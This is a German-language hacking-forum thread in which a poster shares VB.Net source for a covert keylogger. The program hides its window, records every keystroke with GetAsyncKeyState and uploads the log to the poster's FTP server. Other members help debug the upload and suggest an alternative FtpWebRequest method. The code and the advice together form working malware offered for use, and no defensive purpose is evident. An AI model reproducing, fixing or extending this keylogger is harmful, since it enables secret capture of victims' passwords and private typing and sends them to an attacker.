VB.Net, Keylogger, Fehlermeldung, brauche Hilfe!

[Breekachu]

Hallo members von free-hack,
ich habe letztens aus langeweile einen keylogger programmiert.
das programm schreibt alle tastaturaktivitäten die der benutzer macht in eine textbox und sendet dann den inhalt der textbox an meinen FTP server.
natürlich ist die textbox unvisible und die form auch.
alles funktioniert eig nur hin und wieder erscheint folgende fehlermeldung:
http://img195.imageshack.us/img195/1453/fehlerw.th.jpg (http://img195.imageshack.us/i/fehlerw.jpg/)
und ich versetehe einfach nicht warum. könnt ihr mir helfen?
hier ist der code dazu:


Public Class Form1

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer

Public Function getkeypress() As Integer

For i As Integer = 1 To 255
If GetAsyncKeyState(i) = -32767 Then
Return i
End If
Next i
End Function

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Timer1.Enabled = True
Me.Opacity = 0
TextBox1.Visible = False
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim key As Integer = getkeypress()
If key <> 0 Then

TextBox1.Text = TextBox1.Text + CStr(Chr(key))
Else : End If

If TextBox1.TextLength >= 5 Then
Timer2.Enabled = True
End If
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

Dim wcl As New Net.WebClient
wcl.Credentials = New Net.NetworkCredential("USERNAME", "*****")
wcl.UploadString("ftp://ftp.USERNAME.fu.funpic.de/LOG.txt", TextBox1.Text)
End Sub
End Class

[Sawyer]

wcl.UploadString("ftp://USERNAME.fu.funpic.de/LOG.txt", TextBox1.Text)

Ich denke das dort ein ftp. zuviel war , kann mich da aber auch irren.

MfG

[Breekachu]

Ich denke das dort ein ftp. zuviel war , kann mich da aber auch irren.

MfG

danke aber wenn man das "ftp://" nicht schreibt dann sendet der nichts.

[Sawyer]

danke aber wenn man das "ftp://" nicht schreibt dann sendet der nichts.

Ich meine auch nicht das ftp , sondern jenes welches in deiner server adresse steht


ftp://ftp.USERNAME.fu.funpic.de/LOG.txt

Das was rot ist entfernen und testen , bei ohost würde dies so funktionieren^^

MfG

[inmate]

Wenn nicht dann benutze einfach ne andere FTP Upload Methode.Gibt ja hier genug in der Section ;)

[phil333]

Versuchs mal mit einem FTPUpload zu lösen mit den integrierten Methoden Dim request As FtpWebRequest = WebRequest.Create("ftp://img.FTP-Hostname.de" & safefilename) request.Method = WebRequestMethods.Ftp.UploadFile request.Credentials = New NetworkCredential("Username", "Passwort") Dann mit request.GetResponse() den stream auslesen und da rein schrieben, fertig.

[Breekachu]

danke für eure antworten ich werd damit jetzt noch mal etwas rumprobieren und lasse es euch wisen wenns geklappt hat :)